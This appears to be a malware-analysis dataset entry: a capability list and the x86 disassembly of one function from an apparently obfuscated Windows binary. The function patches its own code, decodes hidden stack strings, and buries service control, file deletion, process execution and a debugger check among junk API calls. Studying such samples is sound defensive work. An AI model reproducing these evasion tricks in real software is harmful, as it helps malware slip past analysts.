Function at 0xa9c000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Delete directory
Delete file
Get common file path
Get graphical window text
Get session user name
Identify system language via api
Read .ini file
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xa9cc61
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa9c036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa9c1de
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa9c0b8
call fcn.0047a3f2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9c07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa9c094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa9c094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9c04a
mov byte [ebp - 0x74], 9
mov byte [ebp - 0x73], 0x6a
mov byte [ebp - 0x72], 1
mov byte [ebp - 0x71], 0x78
mov byte [ebp - 0x70], 3
mov byte [ebp - 0x6f], 0x25
mov byte [ebp - 0x6e], 2
mov byte [ebp - 0x6d], 0x75
mov byte [ebp - 0x6c], 8
mov byte [ebp - 0x6b], 0x79
mov byte [ebp - 0x6a], 5
mov byte [ebp - 0x69], 0x74
mov byte [ebp - 0x68], 4
mov byte [ebp - 0x67], 0x84
mov byte [ebp - 0x66], 7
mov byte [ebp - 0x65], 0x70
mov byte [ebp - 0x64], 0
mov byte [ebp - 0x63], 0x83
mov byte [ebp - 0x62], 6
mov byte [ebp - 0x61], 0x81
mov byte [ebp - 0x60], 0x15
mov byte [ebp - 0x5f], 0x9d
mov byte [ebp - 0x5e], 0xf5
mov byte [ebp - 0x5d], 0xba
mov byte [ebp - 0x5c], 0x6f
mov byte [ebp - 0x5b], 0xed
mov byte [ebp - 0x5a], 0x8d
mov byte [ebp - 0x59], 0x90
mov byte [ebp - 0x58], 0x4f
mov byte [ebp - 0x57], 0x6c
mov byte [ebp - 0x56], 0xfe
mov byte [ebp - 0x55], 0xbb
mov byte [ebp - 0x54], 0x98
mov byte [ebp - 0x53], 0x6f
mov byte [ebp - 0x52], 0x90
mov byte [ebp - 0x51], 0x6d
mov byte [ebp - 0x50], 0x87
mov byte [ebp - 0x4f], 0xd9
mov byte [ebp - 0x4e], 0xf0
mov byte [ebp - 0x4d], 0xb3
mov byte [ebp - 0x4c], 0xc0
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9c16e
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x29
jae 0xa9c1d3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa9c19a
mov dword [ebp - 0x24], 0x15
mov eax, dword [ebp - 8]
add eax, 0x13
mov dword [ebp - 8], eax
jmp 0xa9c166
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9c1c2
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9c1af
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa9c166
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa915aa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407e86
mov ecx, eax
call fcn.00402fa1
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402f45
and dword [ebp - 0x1c], 0
jmp 0xa9c216
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa9c226
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa9c20f
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0x201a
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0xe18
push 0x191c
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
push 0x2350
push 0x1e88
push 0x1d22
push 0x1719
call dword [sym.imp.GDI32.dll_CreateBitmap]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0x1e2e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0xc09
push 0
push 0x3b5
push 0x1432
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0x58e
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0x2148
push 0x871
push 0x1b6c
push 0x5ab
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x1c2a
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0xf77
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0
push 0x66a
push 0
push 0x12a9
push 0
push 0x921
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
push 0
push 0x18c8
push 0x860
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x2229
push 0x2660
push 0x958
push 0x1bb
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
push 0x4b4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x2568
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0x2bb
push 0x1bcc
push 0x2277
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1d80
push 0x1ad2
push 0x10b
push 0x888
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0x1e93
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 0x1e56
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0x1280
push 0xc88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0x1b56
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
call dword [sym.imp.USER32.dll_GetCapture]
push 0x1aee
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0xb15
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0x17cb
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0xda7
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
push 0
push 0x145f
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0
push 0
push 0x55b
push 0x87b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0x25a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0x20df
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 1
push 0x151e
push 0x3d7
push 0x1287
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0x920
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
call dword [sym.imp.USER32.dll_GetMessageTime]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0x22a2
push 0xae8
push 0x2696
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0x15d
push 0x2525
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
push 0x3a3
push 0x1f2a
push 0x19b4
push 0x2bb
push 0x10fe
push 0x1cb8
push 0x125e
push 0x21e8
push 0x1420
push 0x2331
push 0x2132
push 0x2166
push 0x22a0
call dword [sym.imp.GDI32.dll_CreateFontA]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0x33e
push 0x20d6
push 0x1e82
push 0x8f9
push 0x86
push 0x1fd5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 1
push 0xe76
push 0x78a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0x152d
push 0x14d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
push 0
push 0x19ab
push 0x1127
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0
push 0xb65
push 0x17c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0
push 0x23e0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push 0x8c
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0
push 0x191a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
push 0x1e69
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0xffa
push 0x25dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0
push 0x2485
push 0x2011
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0
push 0x13ee
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x927
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x201d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x3e3
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0
push 0
push 0xeea
push 0x30e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0xd39
push 0x12a3
push 0x13a6
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0x109a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0x23e8
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0x1058
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x129f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
push 0x23e9
push 0xe97
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0x4ec
push 0xa8a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x3ed
push 0x5f7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0
push 0x199
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
push 0x35a
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0x93f
push 0
push 0
push 0x99c
push 0x25f4
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0x201
push 0x1b54
push 0x1be5
push 0x24d7
push 0x1003
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0x1143
push 0xacf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x56c
push 0x140e
push 0xab9
push 0x11b4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0x21de
push 0
push 0x139
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x1c77
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
push 0x215a
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0xdd9
call dword [sym.imp.KERNEL32.dll_ExitThread]